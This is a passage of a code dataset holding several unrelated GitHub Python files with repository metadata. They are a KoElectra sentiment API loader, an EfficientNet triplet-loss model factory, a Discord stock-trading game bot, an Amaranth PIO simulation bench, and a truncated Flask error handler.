tokenizer\n global device\n\n if torch.cuda.is_available():\n device = torch.device('cuda:' + str(args.target_gpu))\n logger.info('There are %d GPU(s) available.' % torch.cuda.device_count())\n logger.info('We will use the GPU:{}'.format(torch.cuda.get_device_name(0)))\n else:\n device = torch.device(\"cpu\")\n logger.info('No GPU available, using the CPU instead.')\n\n model = KoElectra_api()\n model.to(device)\n\n param_optimizer = list(model.named_parameters())\n no_decay = ['bias', 'LayerNorm.weight']\n\n optimizer_grouped_parameters = [\n {'params': [p for n, p in param_optimizer if not any(nd in n for nd in no_decay)], 'weight_decay': 0.01},\n {'params': [p for n, p in param_optimizer if any(nd in n for nd in no_decay)], 'weight_decay': 0.0}]\n\n optimizer = AdamW(optimizer_grouped_parameters,\n lr=config.MODEL_CONFIG['learning_rate'],\n eps=config.MODEL_CONFIG['adam_epsilon'])\n\n model.load_state_dict(torch.load(args.load_ck))\n model.eval()\n\n tokenizer = ElectraTokenizer.from_pretrained(\"monologg/koelectra-base-v3-discriminator\")\n","repo_name":"finddme/Sentiment_analysis","sub_path":"sources/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":9886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"3649076035","text":"from src.models.triplet_model_factory import TripletModelFactory\nimport tensorflow as tf\nimport tensorflow_addons as tfa\n\nfrom src.data.triplet_dataset_factory import AugmentedTripletDatasetFactory\nfrom src.utility import get_project_dir\nimport joblib, os\n\nclass EfficientNetB0TripletModelFactory(TripletModelFactory):\n def __init__(self, input_shape=(224, 224, 3), embedding_size=128, extraction_layers_size=[1024, 512, 256]):\n self.input_shape = input_shape\n self.embedding_size = embedding_size\n self.extraction_layers_size = extraction_layers_size\n super().__init__()\n\n def set_basemodel(self):\n efficient_net = tf.keras.applications.EfficientNetB0(input_shape=self.input_shape,\n include_top=False,\n weights=\"imagenet\")\n efficient_net.trainable = False # Freeze basemodel by default (transfer learning)\n return efficient_net\n\n def set_embedding_model(self):\n # See documentation in tensorflow: https://www.tensorflow.org/addons/tutorials/losses_triplet\n embedding_model = tf.keras.models.Sequential(name=\"embedding_extraction\")\n # Reducing dimensions (7,7,1280)->(1,1,1280) to keep parameters in check\n # This mimics the architecture of the original top layers from the EfficientNetb0\n embedding_model.add(tf.keras.layers.GlobalAveragePooling2D())\n embedding_model.add(tf.keras.layers.Flatten())\n\n # Adding Dense layers according to the extraction layer sizes\n self.build_embedding_layer_body(embedding_model)\n\n # No activation on final dense layer\n embedding_model.add(tf.keras.layers.Dense(self.embedding_size, activation=None))\n # L2 normalize embeddings. This enforces that embedding vectors are on a hypersphere and only the direction matters.\n embedding_model.add(tf.keras.layers.Lambda(lambda x: tf.keras.backend.l2_normalize(x, axis=1)))\n\n return embedding_model\n\n def build_embedding_layer_body(self, embedding_model):\n for layer_size in self.extraction_layers_size:\n embedding_model.add(tf.keras.layers.Dense(layer_size, activation=\"relu\"))\n\n def preprocessor(self):\n return tf.keras.applications.efficientnet.preprocess_input\n\n\nclass EfficientNetB0DropoutTripletModelFactory(EfficientNetB0TripletModelFactory):\n def __init__(self,\n input_shape=(224, 224, 3),\n embedding_size=128,\n extraction_layers_size=[1024, 512, 256],\n dropout_ratios=[0.1,0.2,0.3]):\n self.dropout_ratios = dropout_ratios\n super().__init__(input_shape=input_shape,\n embedding_size=embedding_size,\n extraction_layers_size=extraction_layers_size)\n assert len(self.dropout_ratios) == len(self.extraction_layers_size)\n\n def build_embedding_layer_body(self, embedding_model):\n for item in zip(self.extraction_layers_size, self.dropout_ratios):\n embedding_model.add(tf.keras.layers.Dense(item[0], activation=\"relu\"))\n embedding_model.add(tf.keras.layers.Dropout(item[1]))\n\n\nif __name__ == \"__main__\":\n train_df = joblib.load(os.path.join(get_project_dir(),\n \"data\",\n \"processed\",\n \"category_id_1_deepfashion_train.joblib\"))\n\n model_factory = EfficientNetB0TripletModelFactory()\n model = model_factory.get_model()\n model.compile(\n loss=tfa.losses.TripletSemiHardLoss(),\n optimizer=\"adam\"\n )\n\n dataset_factory = AugmentedTripletDatasetFactory(train_df)\n train_dataset = dataset_factory.get_dataset(batch_size=16, data_slice_ratio=0.1, shuffle=True)\n\n model.fit(train_dataset, epochs=2)\n model.summary()","repo_name":"sgerloff/sustainable_deepfashion","sub_path":"src/models/efficient_net_triplet_model_factory.py","file_name":"efficient_net_triplet_model_factory.py","file_ext":"py","file_size_in_byte":3906,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"7812023028","text":"import asyncio\nimport math\nimport os\nimport warnings\nimport winsound\n\nimport discord\nimport pandas as pd\nfrom discord import app_commands\nfrom dotenv import load_dotenv\n\nwarnings.filterwarnings('ignore')\npath = \"G:/GitHub-Repos/Stockbot_PY/src/\"\nbase_balance = 1000\nbase_Oil = 0\nmessage = \"DEFAULT\"\n\nload_dotenv()\n\nguild_id = os.environ.get(\"DISCORD_GUILD_ID\")\n\n\n# Always handle UserID's as strings\n# Always document your code\n\n\nclass aclient(discord.Client):\n def __init__(self):\n super().__init__(intents=discord.Intents.default())\n self.synced = False # we use this so the bot doesn't sync commands more than once\n\n async def on_ready(self):\n await self.wait_until_ready()\n if not self.synced: # check if slash commands have been synced\n # guild specific: leave blank if global (global registration can take 1-24 hours)\n await tree.sync(guild=discord.Object(id=guild_id))\n self.synced = True\n winsound.Beep(750, 150)\n print(f\"I am {self.user}.\")\n await production()\n\n\nclient = aclient()\ntree = app_commands.CommandTree(client)\n\n# * Command Functions\n\n\ndef checkIfUserIsAdmin(uid):\n df = pd.read_csv(path + \"data/admins.csv\")\n uid = int(uid)\n for v, i in enumerate(df[\"uid\"]):\n print(i, uid)\n if i == uid:\n return {1: df[\"auth_level\"][v], 2: df[\"name\"][v]}\n\n\ndef recalculatePrice(resource):\n price = pd.read_csv(path + \"data/prices.csv\")\n max_price = price[resource][3]\n price[resource][0] = math.floor(\n max_price*(price[resource][2]+1) ** (-0.245))\n price.to_csv(path + \"data/prices.csv\", index=False)\n return price[resource][0]\n\n\nasync def production():\n while True:\n price = pd.read_csv(path + \"data/prices.csv\")\n for i in price.columns:\n # TODO: If available resources are greater than 80% of max, then stop production\n production = price[i][0]*price[i][0]/500\n price[i][2] = int(int(price[i][2]) + production)\n recalculatePrice(i)\n print(\n f\"+{math.floor(production)} {i} produced, price is now at {price[i][0]}₭\")\n price.to_csv(path + \"data/prices.csv\", index=False)\n await asyncio.sleep(3600)\n\n# * Slash commands\n# TODO: /daily\n\n\n@tree.command(guild=discord.Object(id=guild_id), name='joe', description='mama')\nasync def slash2(interaction: discord.Interaction):\n await interaction.response.send_message(\"Joe Mama!\")\n\n\n@tree.command(guild=discord.Object(id=guild_id), name='promote', description='OWNER ONLY')\nasync def promote(interaction: discord.Interaction, user: discord.User, authorization_level: str):\n authorization_level = authorization_level.lower()\n if authorization_level == \"owner\" or authorization_level == \"admin\":\n if int(interaction.user.id) == int(os.environ.get(\"OWNER_ID\")):\n df = pd.read_csv(path + \"data/admins.csv\")\n for v, i in enumerate(df[\"uid\"]):\n if i == user.id:\n if df[\"auth_level\"][v] == \"owner\":\n message = f\"<@{user.id}> is already {authorization_level}!\"\n break\n elif df[\"auth_level\"][v] != \"admin\":\n df[\"auth_level\"][v] = authorization_level\n df.to_csv(path + \"data/admins.csv\", index=False)\n message = f\"<@{user.id}> has been promoted to {authorization_level}!\"\n break\n else:\n df = pd.concat([df, pd.DataFrame(\n {\"name\": [user.name], \"uid\": [user.id], \"auth_level\": [authorization_level]})])\n df.to_csv(path + \"data/admins.csv\", index=False)\n message = f\"<@{user.id}> has been promoted to {authorization_level}!\"\n else:\n message = \"You do not have permission to use this command.\"\n else:\n message = \"Invalid authorization level. Use `owner` or `admin`.\"\n\n print(f\"{interaction.user.name} tried to promote {user.name} to {authorization_level}\\nAnswer: {message}\")\n await interaction.response.send_message(message)\n\n\n@tree.command(guild=discord.Object(id=guild_id), name='demote', description='OWNER ONLY')\nasync def demote(interaction: discord.Interaction, user: discord.User):\n if int(interaction.user.id) == int(os.environ.get(\"OWNER_ID\")):\n df = pd.read_csv(path + \"data/admins.csv\")\n for v, i in enumerate(df[\"uid\"]):\n if i == user.id:\n df = df.drop(v)\n df.to_csv(path + \"data/admins.csv\", index=False)\n message = f\"<@{user.id}> has been demoted!\"\n break\n else:\n message = f\"<@{user.id}> does not have elevated priviliges!\"\n else:\n message = \"You do not have permission to use this command.\"\n\n print(f\"{interaction.user.name} tried to demote {user.name}\\nAnswer: {message}\")\n await interaction.response.send_message(message)\n\n\n@tree.command(guild=discord.Object(id=guild_id), name='isadmin', description=\"Check if a user is an admin\")\nasync def isadmin(interaction: discord.Interaction, user: discord.User):\n df = pd.read_csv(path + \"data/admins.csv\")\n for v, i in enumerate(df[\"uid\"]):\n if i == user.id:\n message = f\"<@{user.id}> is an {df['auth_level'][v]}!\"\n break\n else:\n message = f\"<@{user.id}> is not an admin!\"\n\n print(f\"{interaction.user.name} checked if {user.name} is an admin\\nAnswer: {message}\")\n await interaction.response.send_message(message)\n\n\n@tree.command(guild=discord.Object(id=guild_id), name=\"init\", description=\"init your account\")\nasync def init(interaction: discord.Interaction):\n username = interaction.user.name\n console_username = interaction.user.name + \"#\" + interaction.user.discriminator\n user_id = interaction.user.id\n df = pd.read_csv(path+\"data/accounts.csv\")\n for v, i in enumerate(df[\"UserID\"]):\n if i == user_id:\n message = f'<@{user_id}> You already have an account!'\n if df[\"Username\"][v] != username:\n old_username = df[\"Username\"][v]\n df[\"Username\"][v] = username\n df.to_csv(path+\"data/accounts.csv\", index=None, header=True)\n message = 'Your username has been updated!'\n print(old_username, \"'s username has been updated to\", username + \".\")\n break\n else:\n df = pd.concat(\n [df, pd.DataFrame({\"Username\": [username], \"UserID\": [user_id], \"Balance\": [base_balance]})])\n df.fillna(0, inplace=True, downcast=\"infer\")\n df.to_csv(path+\"data/accounts.csv\", encoding='utf-8', index=False)\n df = pd.read_csv(path+\"data/inventories.csv\")\n df = pd.concat(\n [df, pd.DataFrame({\"username\": [username], \"uid\": [user_id]})])\n df = df.fillna(0, downcast='infer', inplace=False)\n df.to_csv(path+\"data/inventories.csv\", index=False)\n\n message = f'**<@{user_id}>**, You\\'ve successfully created an account! \\n You have **{base_balance}₭**'\n print(\"User\", username, \"created an account.\")\n print(f\"@{console_username} Tried to create an account.\\nAnswer: {message}\\n\")\n await interaction.response.send_message(message, ephemeral=True)\n\n\n@tree.command(guild=discord.Object(id=guild_id), name=\"bal\", description=\"Displays your balance.\")\nasync def bal(interaction: discord.Interaction, user: discord.User = None):\n console_username = interaction.user.name + \"#\" + interaction.user.discriminator\n if user is None:\n user = interaction.user\n user_cu = user.name + \"#\" + user.discriminator\n df = pd.read_csv(path+\"data/accounts.csv\")\n for v, i in enumerate(df[\"UserID\"]):\n if i == user.id:\n message = f'<@{user.id}> has **{df[\"Balance\"][v]:,}₭**!'\n break\n else:\n message = f'<@{user.id}> Does not have an account! Use `/init` to create one.'\n\n print(f\"{console_username} tried to check the balance of {user_cu}\\nAnswer: {message}\")\n await interaction.response.send_message(message)\n\n\n@tree.command(guild=discord.Object(id=guild_id), name=\"baltop\", description=\"Displays the top 10 richest users.\")\nasync def baltop(interaction: discord.Interaction):\n df = pd.read_csv(path+\"data/accounts.csv\")\n df = df.sort_values(by=\"Balance\", ascending=False)\n df = df.reset_index(drop=True)\n message = \"```\"\n for i in range(10):\n if i < len(df):\n message += f\"{i+1}. {df['Username'][i]}: {df['Balance'][i]:,}₭\\n\"\n message += \"```\"\n print(f\"{interaction.user.name} checked the baltop.\\nAnswer: \\n{message}\")\n await interaction.response.send_message(message)\n\n\n@tree.command(guild=discord.Object(id=guild_id), name=\"price\", description=\"Displays the price of a stock.\")\nasync def price(interaction: discord.Interaction, stockname: str):\n stockname = stockname.lower()\n console_username = interaction.user.name + \"#\" + interaction.user.discriminator\n df = pd.read_csv(path+\"data/prices.csv\", header=None)\n found = False\n for v, i in enumerate(df):\n if stockname == df[v][0]:\n price = df[v][1]\n found = True\n message = f'The price of `{stockname}` is **{price}₭**!'\n break\n if found == False:\n message = f'<@{interaction.user.id}>, Can\\'t find this stock.'\n\n print(\n f\"@{console_username} requested the price of {stockname}.\\nAnswer: {message}\\n\")\n await interaction.response.send_message(message)\n\n\n@tree.command(guild=discord.Object(id=guild_id), name=\"buy\", description=\"Buy some shares\")\nasync def buy(interaction: discord.Interaction, name: str, amount: int):\n name = name.lower()\n amount = int(amount)\n stocks = pd.read_csv(path+\"data/prices.csv\")\n accounts = pd.read_csv(path+\"data/accounts.csv\")\n inventories = pd.read_csv(path+\"data/inventories.csv\")\n console_username = interaction.user.name + \"#\" + interaction.user.discriminator\n user_id = interaction.user.id\n for v, i in enumerate(stocks):\n if name == i:\n price = stocks[i][0]\n for w, i in enumerate(accounts[\"UserID\"]):\n if user_id == i:\n balance = accounts[\"Balance\"][w]\n if balance < price * amount:\n message = f'<@{user_id}>, You don\\'t have enough money to buy this stock!'\n else:\n for v, i in enumerate(inventories[\"uid\"]):\n if user_id == i:\n if stocks[name][2] <= amount:\n message = f'<@{user_id}>, There is not enough {name}!'\n else:\n stocks[name][2] -= amount\n stocks.to_csv(\n path+\"data/prices.csv\", index=False)\n recalculatePrice(name)\n inventories[name][v] += amount\n inventories.to_csv(\n path+\"data/inventories.csv\", index=False)\n accounts[\"Balance\"][w] -= price * amount\n accounts.to_csv(\n path+\"data/accounts.csv\", index=False)\n message = f'<@{user_id}>, You have successfully bought **{amount:,}** **{name}** for **{price * amount:,}₭**!'\n break\n break\n else:\n message = f'<@{user_id}>, You don\\'t have an account!\\nCreate an account by typing `/init`!'\n break\n else:\n message = f'<@{user_id}>, Can\\'t find this stock.'\n print(f\"@{console_username} tried to buy {amount} {name}.\\nAnswer: {message}\\n\")\n await interaction.response.send_message(message)\n\n\n@tree.command(guild=discord.Object(id=guild_id), name=\"sell\", description=\"Sell some shares\")\nasync def sell(interaction: discord.Interaction, name: str, amount: int):\n name = name.lower()\n stocks = pd.read_csv(path+\"data/prices.csv\")\n accounts = pd.read_csv(path+\"data/accounts.csv\")\n inventories = pd.read_csv(path+\"data/inventories.csv\")\n console_username = interaction.user.name + \"#\" + interaction.user.discriminator\n user_id = interaction.user.id\n for v, i in enumerate(stocks):\n if name == i:\n for v2, i2 in enumerate(accounts[\"UserID\"]):\n if user_id == i2:\n for v3, i3 in enumerate(inventories[\"uid\"]):\n if user_id == i3:\n if inventories[name][v3] < amount:\n message = f'<@{user_id}>, You don\\'t have enough {name} you can sell!'\n else:\n price = stocks[name][0]\n inventories[name][v3] -= amount\n inventories.to_csv(\n path+\"data/inventories.csv\", index=False)\n stocks[name][2] += amount\n stocks.to_csv(\n path+\"data/prices.csv\", index=False)\n recalculatePrice(name)\n accounts[\"Balance\"][v2] += int(\n price * amount * 0.99)\n accounts.to_csv(\n path+\"data/accounts.csv\", index=False)\n message = f'<@{user_id}>, You have successfully sold **{amount:,}** **{name}** for **{price * amount:,}₭**!'\n break\n break\n else:\n message = f'<@{user_id}>, You don\\'t have an account!\\nCreate an account by typing `/init`!'\n break\n\n else:\n message = f'<@{user_id}>, Can\\'t find {name}.'\n\n print(f\"@{console_username} tried to sell some shares.\\nAnswer: {message}\\n\")\n await interaction.response.send_message(message)\n\n\n@tree.command(guild=discord.Object(id=guild_id), name=\"inv\", description=\"Displays your inventory.\")\nasync def inv(interaction: discord.Interaction):\n accounts = pd.read_csv(path+\"data/accounts.csv\")\n username = interaction.user.name\n user_id = interaction.user.id\n console_username = interaction.user.name + \"#\" + interaction.user.discriminator\n found = False\n\n for v, i in enumerate(accounts[\"UserID\"]):\n if i == user_id:\n bal = accounts[\"Balance\"][v]\n oil = accounts[\"oil\"][v]\n iron = accounts[\"iron\"][v]\n copper = accounts[\"copper\"][v]\n message = f'**{bal} ₭**\\n**{oil} Oil**\\n**{iron} Iron**\\n**{copper} Copper**'\n break\n else:\n message = f'<@{user_id}> Use `/init` first to create an account!'\n\n print(f\"@{console_username} requested his inventory.\\nAnswer: {message}\\n\")\n await interaction.response.send_message(message)\n\n\n@tree.command(guild=discord.Object(id=guild_id), name=\"pay\", description=\"Pay someone some money.\")\nasync def pay(interaction: discord.Interaction, user: discord.User, amount: int):\n accounts = pd.read_csv(path+\"data/accounts.csv\")\n user_id = interaction.user.id\n console_username = interaction.user.name + \"#\" + interaction.user.discriminator\n user_cu = user.name + \"#\" + user.discriminator\n\n for v, i in enumerate(accounts[\"UserID\"]):\n if i == user_id:\n for w, j in enumerate(accounts[\"UserID\"]):\n if j == user.id:\n if accounts[\"Balance\"][v] < amount:\n message = f'<@{user_id}>, You don\\'t have enough money to pay this amount!'\n break\n else:\n accounts[\"Balance\"][v] -= amount\n accounts[\"Balance\"][w] += amount\n accounts.to_csv(path+\"data/accounts.csv\", index=False)\n message = f'<@{user_id}>, You have successfully paid **{amount:,}₭** to <@{user.id}>!'\n break\n break\n else:\n message = f'<@{user_id}> Use `/init` first to create an account!'\n print(f\"{console_username} tried to pay {user_cu}.\\nAnswer: {message}\\n\")\n await interaction.response.send_message(message)\n\n\n@tree.command(guild=discord.Object(id=guild_id), name=\"company\", description=\"Create a company. or manage it.\")\nasync def company(interaction: discord.Interaction, action: str, name: str = \"\", user: discord.User = None):\n companies = pd.read_csv(path+\"data/companies.csv\")\n private = False\n # TODO: decode/encode production\n # TODO: Calculate networth\n if action == \"help\":\n message = \"\"\"**Company Syntax**\\n\n `/company help` - Shows this message.\n `/company create ` - Create a company.\n `/company info` - Get info about your company.\n `/company inv` - Get your company's inventory.\n `/company pay ` - Pay someone from your company's balance.\n `/company hire ` - Hire an applicant to work for your company.\n `/company fire ` - Fire an employee from your company.\n `/company apply ` - Apply to work for a company.\n `/company leave` - Leave your current company.\n `/company list` - List all companies.\"\"\"\n\n elif action == \"info\": # Get info about a company\n if name == \"\":\n for v, i in enumerate(companies[\"ownerid\"]):\n if str(i) == str(interaction.user.id):\n name = companies[\"name\"][v]\n break\n else:\n message = f'<@{interaction.user.id}>, You don\\'t have a company!\\nCreate one by typing `/company create `'\n\n for v, i in enumerate(companies[\"name\"]):\n if i == name:\n employees = str(companies[\"employees\"][v]).split(\";\")\n for v2, i2 in enumerate(employees):\n employees[v2] = f\"<@{i2}>\"\n employees = \", \".join(employees)\n applicants = str(companies[\"applicants\"][v]).split(\";\")\n if applicants[0] == \"None\":\n applicants = 0\n else:\n applicants = len(applicants)\n message = f'**{name}**\\nCEO: **{companies[\"owner\"][v]}**\\nNetworth: **₭**\\nProduction: **CUMING SOON**\\nEmployees: **{employees}**\\nApplicants: **{applicants}**'\n break\n else:\n message = f'<@{interaction.user.id}>, Can\\'t find this company.'\n\n elif action == \"create\": # Create a company\n for v, i in enumerate(companies[\"name\"]):\n if i == name:\n message = f'<@{interaction.user.id}>, This company already exists!'\n break\n else:\n companies = pd.concat([companies, pd.DataFrame({\"name\": [name], \"owner\": [\n interaction.user.name], \"ownerid\": [interaction.user.id]})])\n companies.fillna(\"None\", inplace=True, downcast=\"infer\")\n companies.to_csv(path+\"data/companies.csv\", index=False)\n message = f'<@{interaction.user.id}>, You have successfully created a company called **{name}**!'\n\n elif action == \"hire\": # Hire an employee from the applicant list of the company\n for v, i in enumerate(companies[\"ownerid\"]):\n if str(i) == str(interaction.user.id):\n # Check if user is already in a company\n for v2, i2 in enumerate(companies[\"employees\"]):\n if str(user.id) == str(i2):\n message = f'<@{interaction.user.id}>, This user is already in a company!'\n break\n else:\n applicants = str(companies[\"applicants\"][v]).split(\";\")\n for v2, i2 in enumerate(applicants):\n if str(i2) == str(user.id):\n employees = str(\n companies[\"employees\"][v]).split(\";\")\n employees.append(str(user.id))\n companies[\"employees\"][v] = \";\".join(employees)\n applicants.pop(v2)\n companies[\"applicants\"][v] = \";\".join(applicants)\n companies = companies.replace(\"\", \"None\")\n companies.to_csv(\n path+\"data/companies.csv\", index=False)\n message = f'<@{interaction.user.id}>, You have successfully hired <@{user.id}>!'\n break\n else:\n message = f'<@{interaction.user.id}>, This user didn\\'t apply to your company!'\n break\n else:\n message = f'<@{interaction.user.id}>, You don\\'t have a company!'\n\n elif action == \"fire\": # Fire an employee from the employee list of the company\n for v, i in enumerate(companies[\"ownerid\"]):\n if str(i) == str(interaction.user.id):\n employees = str(companies[\"employees\"][v]).split(\";\")\n for v2, i2 in enumerate(employees):\n if str(i2) == str(user.id):\n employees.pop(v2)\n companies[\"employees\"][v] = \";\".join(employees)\n companies = companies.replace(\"\", \"None\")\n companies.to_csv(\n path+\"data/companies.csv\", index=False)\n message = f'<@{interaction.user.id}>, You have successfully fired <@{user.id}>!'\n break\n else:\n message = f'<@{interaction.user.id}>, This user isn\\'t an employee of your company!'\n break\n else:\n message = f'<@{interaction.user.id}>, You don\\'t have a company!'\n\n elif action == \"apply\": # Apply for a job\n for v, i in enumerate(companies[\"name\"]):\n if i == name:\n # Check if user is already in a company\n for v2, i2 in enumerate(companies[\"employees\"]):\n if str(interaction.user.id) == str(i2):\n message = f'<@{interaction.user.id}>, You are already in a company!'\n break\n\n else:\n # Check if user is CEO of a company\n for v2, i2 in enumerate(companies[\"ownerid\"]):\n if str(i2) == str(interaction.user.id):\n message = f'<@{interaction.user.id}>, You are the CEO of a company!'\n break\n else:\n # add the userid to the applicants list of the company\n applicants = str(companies[\"applicants\"][v]).split(\";\")\n for w, j in enumerate(applicants):\n if str(j) == str(interaction.user.id):\n message = f'<@{interaction.user.id}>, You already applied for this job!'\n break\n else:\n if companies[\"applicants\"][v] == \"None\":\n companies[\"applicants\"][v] = str(\n interaction.user.id)\n else:\n companies[\"applicants\"][v] = str(companies[\"applicants\"][v]) + \\\n \";\" + str(interaction.user.id)\n companies.to_csv(\n path+\"data/companies.csv\", index=False)\n message = f'<@{interaction.user.id}>, You have successfully applied for a job at **{name}**!\\nPlease wait for the CEO to accept you, via the /company hire @{interaction.user.name} command.'\n\n elif action == \"applicants\": # Show the applicants of a company\n private = True\n for v, i in enumerate(companies[\"ownerid\"]):\n if str(i) == str(interaction.user.id):\n applicants = str(companies[\"applicants\"][v]).split(\";\")\n if applicants[0] == \"None\":\n applicants = \"None\"\n else:\n # Mention all applicants\n for v2, i2 in enumerate(applicants):\n applicants[v2] = f'<@{i2}>'\n applicants = \", \".join(applicants)\n message = f'**{companies[\"name\"][v]}**\\nApplicants: **{applicants}**'\n break\n\n elif action == \"employees\": # Show the employees of a company\n private = True\n for v, i in enumerate(companies[\"ownerid\"]):\n if str(i) == str(interaction.user.id):\n employees = str(companies[\"employees\"][v]).split(\";\")\n if employees[0] == \"None\":\n employees = \"None\"\n else:\n # Mention all employees\n for v2, i2 in enumerate(employees):\n employees[v2] = f'<@{i2}>'\n employees = \", \".join(employees)\n message = f'**{companies[\"name\"][v]}**\\nEmployees: **{employees}**'\n break\n else:\n message = f'<@{interaction.user.id}>, You don\\'t own a company!'\n\n elif action == \"leave\": # Leave a company\n for v, i in enumerate(companies[\"employees\"]):\n if str(i) == str(interaction.user.id):\n employees = str(companies[\"employees\"][v]).split(\";\")\n for v2, i2 in enumerate(employees):\n if str(i2) == str(interaction.user.id):\n employees.pop(v2)\n companies[\"employees\"][v] = \";\".join(employees)\n companies = companies.replace(\"\", \"None\")\n companies.to_csv(\n path+\"data/companies.csv\", index=False)\n message = f'<@{interaction.user.id}>, You have successfully left **{companies[\"name\"][v]}**!'\n break\n break\n else:\n message = f'<@{interaction.user.id}>, You are not in a company!'\n\n elif action == \"delete\": # Delete a company\n for v, i in enumerate(companies[\"ownerid\"]):\n if str(i) == str(interaction.user.id):\n companies = companies.drop(v)\n companies = companies.replace(\"\", \"None\")\n companies.to_csv(path+\"data/companies.csv\", index=False)\n message = f'<@{interaction.user.id}>, You have successfully deleted your company!'\n break\n else:\n message = f'<@{interaction.user.id}>, You don\\'t own a company!'\n\n else:\n message = f'<@{interaction.user.id}>, Invalid action!'\n\n print(f\"@{interaction.user.name}#{interaction.user.discriminator} tried to manage a company.\\nAnswer: {message}\\n\")\n await interaction.response.send_message(message, ephemeral=private)\n\n\n@tree.command(guild=discord.Object(id=guild_id), name=\"addresource\", description=\"ADMIN_ONLY - Add a resource.\")\nasync def addresource(interaction: discord.Interaction, resource: str, starting_price: int, amount: int, max_price: int):\n if checkIfUserIsAdmin(interaction.user.id)[1] == \"owner\" or checkIfUserIsAdmin(interaction.user.id)[1] == \"admin\":\n console_username = interaction.user.name + \"#\" + interaction.user.discriminator\n resource = resource.lower()\n stocks = pd.read_csv(path+\"data/prices.csv\")\n inventories = pd.read_csv(path+\"data/inventories.csv\")\n for v, i in enumerate(stocks):\n if resource == i:\n message = f'<@{interaction.user.id}>, This resource already exists!'\n break\n else:\n stocks[resource] = [starting_price, amount, amount, max_price]\n stocks.to_csv(path+\"data/prices.csv\", index=False)\n inventories[resource] = 0\n inventories.fillna(0, inplace=True, downcast=\"infer\")\n inventories.to_csv(path+\"data/inventories.csv\", index=False)\n recalculatePrice(resource)\n message = f'<@{interaction.user.id}>, You have successfully added **{resource}** to the market!'\n else:\n message = \"You are not allowed to use this command.\"\n print(f\"{console_username} tried to add a resource.\\nAnswer: {message}\\n\")\n await interaction.response.send_message(message)\n\n\n@tree.command(guild=discord.Object(id=guild_id), name=\"removeresource\", description=\"ADMIN_ONLY - Remove a resource.\")\nasync def removeresource(interaction: discord.Interaction, resource: str):\n if checkIfUserIsAdmin(interaction.user.id)[1] == \"owner\" or checkIfUserIsAdmin(interaction.user.id)[1] == \"admin\":\n inventories = pd.read_csv(path+\"data/inventories.csv\")\n prices = pd.read_csv(path+\"data/prices.csv\")\n accounts = pd.read_csv(path+\"data/accounts.csv\")\n resource = resource.lower()\n user_id = interaction.user.id\n console_username = interaction.user.name + \"#\" + interaction.user.discriminator\n payouts = {}\n for v, i in enumerate(prices):\n if resource == i:\n for w, j in enumerate(inventories[\"uid\"]):\n if inventories[resource][w] > 0:\n for x, k in enumerate(accounts[\"UserID\"]):\n if k == j:\n accounts[\"Balance\"][x] += int(prices[resource][0] *\n inventories[resource][w] * 0.9)\n payouts[j] = int(prices[resource][0] *\n inventories[resource][w] * 0.9)\n accounts.to_csv(\n path+\"data/accounts.csv\", index=False)\n break\n del prices[resource]\n del inventories[resource]\n prices.to_csv(path+\"data/prices.csv\", index=False)\n inventories.to_csv(path+\"data/inventories.csv\", index=False)\n message = f'<@{user_id}>, You have successfully removed `{resource}`!\\n\\n'\n for key, value in payouts.items():\n message += f'<@{key}> has been paid **{value}₭**!\\n'\n break\n else:\n message = f'<@{user_id}>, This resource doesn\\'t exist!'\n else:\n message = \"You are not allowed to use this command.\"\n print(f\"{console_username} tried to remove a resource.\\nAnswer: {message}\\n\")\n await interaction.response.send_message(message)\n\n\n@tree.command(guild=discord.Object(id=guild_id), name=\"editaccount\", description=\"ADMIN_ONLY - Edit an account.\")\nasync def editaccount(interaction: discord.Interaction, user: discord.User, subject: str, amount: int) -> None:\n if checkIfUserIsAdmin(interaction.user.id)[1] == \"owner\" or checkIfUserIsAdmin(interaction.user.id)[1] == \"admin\":\n accounts = pd.read_csv(path+\"data/accounts.csv\")\n console_username = interaction.user.name + \"#\" + interaction.user.discriminator\n if subject != \"Balance\":\n subject = subject.lower()\n # check if the subject exists\n for v, i in enumerate(accounts):\n if subject == i:\n for w, j in enumerate(accounts[\"UserID\"]):\n if j == user.id:\n accounts[subject][w] = amount\n accounts.to_csv(path+\"data/accounts.csv\", index=False)\n message = f'<@{interaction.user.id}>, You have successfully edited the account of <@{user.id}>!'\n break\n else:\n message = f'<@{interaction.user.id}>, This user doesn\\'t have an account!'\n break\n else:\n message = f'<@{interaction.user.id}>, This subject doesn\\'t exist!'\n\n print(f\"{console_username} tried to edit an account.\\nAnswer: {message}\\n\")\n await interaction.response.send_message(message)\n\n\nclient.run(os.environ.get(\"DISCORD_TOKEN\"))\n","repo_name":"Xman1109/Discord_Bot","sub_path":"src/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":32347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"1257165612","text":"import pio\nfrom amaranth.sim import Simulator\n\ndut = pio.Block(pio.Config(\n inst_mem_init = [\n # 0b101_00001_010_01_001, # mov !X -> Y [1]\n # 0b101_00001_001_00_010, # mov Y -> X [1]\n 0b001_00000_1_10_00000, # wait 1 irq 0 [0]\n 0b101_00001_010_01_001, # mov !X -> Y [1]\n ],\n))\n\ndef bench():\n yield dut.sm[0].exec.wrap_top.eq(1)\n yield dut.sm[0].en.eq(1)\n\n for _ in range(5):\n yield\n \n yield dut.irq.idx.eq(0)\n yield dut.irq.w_data.eq(1)\n yield dut.irq.w_stb.eq(1)\n yield\n yield dut.irq.w_stb.eq(0)\n\n for _ in range(12):\n yield\n\nsim = Simulator(dut)\nsim.add_clock(1e-6) # 1 Mhz\nsim.add_sync_process(bench)\n\nwith sim.write_vcd(\"pio.vcd\"):\n sim.run()\n","repo_name":"lachlansneff/pio","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"81"} +{"seq_id":"6709752659","text":"from flask import json\nfrom opentelemetry import trace\nfrom werkzeug.exceptions import HTTPException\n\n\ndef handle_exception(ex: HTTPException):\n \"\"\"Return JSON instead of HTML for HTTP errors.\"\"\"\n # start with the correct headers and status code from the error\n response = ex.get_response()\n # replace the body with JSON\n response.data = json.dumps({\n \"code\": ex.code,\n \"error\": ex.name,\n \"message\": ex.description,\n })\n\n tracer = trace.get_tracer(__name__)\n with tracer.start_as_current_span(__name__) as span:\n span.set_attribute('http.status', ex.code)\n span.set_attribute('http.error', 